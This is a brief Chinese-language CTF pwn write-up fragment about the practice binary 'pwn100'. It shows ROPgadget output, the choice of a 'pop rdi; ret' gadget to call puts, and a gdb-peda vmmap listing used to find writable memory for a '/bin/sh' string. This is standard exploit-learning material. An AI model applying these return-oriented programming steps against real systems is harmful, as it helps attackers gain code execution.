无libc 无system 无bin/sh xfgg@ubuntu:~/Downloads$ ROPgadget --binary pwn100 --only 'pop|ret' Gadgets information ============================================================ 0x000000000040075c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040075e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400760 : pop r14 ; pop r15 ; ret 0x0000000000400762 : pop r15 ; ret 0x000000000040075b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040075f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400595 : pop rbp ; ret 0x0000000000400763 : pop rdi ; ret 0x0000000000400761 : pop rsi ; pop r15 ; ret 0x000000000040075d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004004e1 : ret 0x00000000004005c5 : ret 0xc148
Unique gadgets found: 12
puts只需要一个参数,所以找到pop rdi; ret传参更方便 0x0000000000400763 : pop rdi ; ret
找到可写入bin/sh的地址 gdb-peda$ vmmap Warning: not running Start End Perm Name 0x004004c8 0x0040077d rx-p /home/xfgg/Downloads/pwn100 0x00400238 0x00400904 r--p /home/xfgg/Downloads/pwn100 0x00600e10 0x00601068 rw-p /home/xfgg/Downloads/pwn100